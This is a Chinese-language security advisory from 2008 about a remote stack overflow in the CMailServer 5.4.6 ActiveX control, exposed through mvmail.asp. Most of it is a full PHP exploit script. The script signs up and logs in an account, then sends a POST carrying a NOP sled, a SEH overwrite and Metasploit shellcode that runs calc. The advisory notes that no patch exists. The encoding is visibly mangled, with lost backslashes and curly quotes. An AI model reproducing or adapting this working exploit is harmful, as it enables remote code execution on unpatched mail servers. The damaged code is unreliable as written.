YoungzsoftCMailServer遠端棧溢位漏洞

Youngzsoft CMailServer遠端棧溢位漏洞來源：bruiser   日期：2008-07-09 11:13:45

受影響系統：

YoungZSoft CMailServer 5.4.6

描述：

——————————————————————————–

BUGTRAQ  ID: 30098

CMailServer是一款EMAIL服務程式，包含基於WEB的郵件服務系統。

CMailServer 所安裝的POP3 Class ActiveX控制元件（CMailCOM.dll，CLSID 6971D9B8-B53E-4C25-A414-76199768A592）沒有正確地驗證對MoveToFolder()方式所提供的輸入引數，如果 遠端攻擊者向mvmail.asp提交了帶有超長indexOfMail引數的POST請求的話，就可以觸發棧溢位，導致執行任意程式碼。CLSID為 0609792F-AB56-4CB6-8909-19CDF72CB2A0的CMailCOM.SMTP類在處理AddAttach、 SetSubject、SetBcc、SetBody、SetCc、SetFrom、SetTo和SetFromUID方式時也存在類似的溢位。

<*來源：bruiser

 

 連結：http://secunia.com/advisories/30940/

*>

測試方法：

——————————————————————————–

警 告

以下程式(方法)可能帶有攻擊性，僅供安全研究與教學之用。使用者風險自負！

<?php

         error_reporting(7);$host=$argv[1];$path=$argv[2];

         $argv[3] ? $port = (int) $argv[3] : $port = 80;

         print (“CMailServer 5.4.6 mvmail.asp/CMailCOM.dll remote seh overwrite
“.

                “exploit
“.

                “by Nine:Situations:Group::bookoo
“);

         $argv[2] ? print(“attackin`…
“) : die (“syntax:  php “.$argv[0].” [host] [path] `port`
“.

                                               “example: php “.$argv[0].” 192.168.0.1 /mail/     
“.

                                               ”    “     php “.$argv[0].” 192.168.0.1 / 81       
“);

         $url = “http://$host:$port”;

         $win = (strtoupper(substr(PHP_OS, 0, 3)) === `WIN`) ? true : false;

         $win ? dl(“php_curl.dll”) : dl(“php_curl.so”);

         //borrowed from bookoo

         function send($packet,$out)  {

             global $url, $data;

         if (!extension_loaded(“curl”){

             die(“you need the curl extesion loaded to run…”);

             }

         $ch = curl_init();

             curl_setopt($ch, CURLOPT_URL,$url);

             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

             curl_setopt($ch, CURLOPT_TIMEOUT, 5);

             curl_setopt($ch, CURLOPT_HEADER, 1);

             curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $packet);

             $data = curl_exec($ch); if (curl_errno($ch)) {

                 print curl_error($ch).”
“;

             } else {

                curl_close($ch);

             }

             if ($out) print($data.”
“);

         }

         $agent=”Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15″;

         //subscribe

         $usr=”bookoo”;$pwd=”password”;//new usr username & password, change

     $d =”Signup=1&Account=$usr&Pass=$pwd&RePass=$pwd&UserName=&Comment=User&POP3Mail=%40ieqowieoqw.com”;

         $h =”POST “.$path.”signup.asp HTTP/1.0
Host: $host
User-Agent: $agent
Content-Type: application/x-www-form-urlencoded
Content-Length: “.strlen($d).”
Connection: Close

$d”;

     send($h,0);

     $tmp=explode(“Set-Cookie: “,$data);

     for ($i=1; $i<count($tmp);$i++){ $tmpi=explode(” “,$tmp[$i]);$sess=$tmpi[0];$pos=strpos($sess, “ASPSESSIONID”);     if ($pos === true) break; echo $sess.”
“;}

     //login

     $d  =”User=$usr&Pass=$pwd&SaveUserPass=on”;

         $h =”POST “.$path.”login.asp HTTP/1.0
Host: $host
User-Agent: $agent
Content-Type: application/x-www-form-urlencoded
Content-Length: “.strlen($d).”
Cookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;
Connection: Close

$d”;

           send($h,0);

           //attack

         //bad chars: x3b x2f

         # win32_exec –  EXITFUNC=seh CMD=calc Size=160 Encoder=Pex http://metasploit.com

         $shellcode =

         “x2bxc9x83xe9xdexe8xffxffxffxffxc0x5ex81x76x0excf”.

         “x67x5fx11x83xeexfcxe2xf4x33x8fx1bx11xcfx67xd4x54”.

         “xf3xecx23x14xb7x66xb0x9ax80x7fxd4x4exefx66xb4x58”.

         “x44x53xd4x10x21x56x9fx88x63xe3x9fx65xc8xa6x95x1c”.

         “xcexa5xb4xe5xf4x33x7bx15xbax82xd4x4exebx66xb4x77”.

         “x44x6bx14x9ax90x7bx5exfax44x7bxd4x10x24xeex03x35”.

         “xcbxa4x6exd1xabxecx1fx21x4axa7x27x1dx44x27x53x9a”.

         “xbfx7bxf2x9axa7x6fxb4x18x44xe7xefx11xcfx67xd4x79”.

         “xf3x38x6exe7xafx31xd6xe9x4cxa7x24x41xa7x97xd5x15”.

         “x90x0fxc7xefx45x69x08xeex28x04x3ex7dxacx67x5fx11”;

         $jmp_short=”xebx10x90x90″;

     $seh=”xf1xdax02x10″; #0x1002DAF1     cmailcom.dll / pop ecx – pop – ret

         $nop=str_repeat(“x90”,12648);

     $bof= $nop . $jmp_short. $seh . str_repeat(“x90”,24). $shellcode ;

     $d=”sel=aaaa&ToFolder=4&indexOfMail=”.urlencode($bof).”&mailcount=1&pages=”;

         $h =”POST “.$path.”mvmail.asp HTTP/1.0
Host: $host
User-Agent: $agent
Content-Type: application/x-www-form-urlencoded
Content-Length: “.strlen($d).”
Cookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;
Connection: Close

$d”;

         send($h,1);

?>

建議：

——————————————————————————–

廠商補丁：

YoungZSoft

———-

目前廠商還沒有提供補丁或者升級程式，我們建議使用此軟體的使用者隨時關注廠商的主頁以獲取最新版本：

http://www.youngzsoft.com/tw/cmailserver/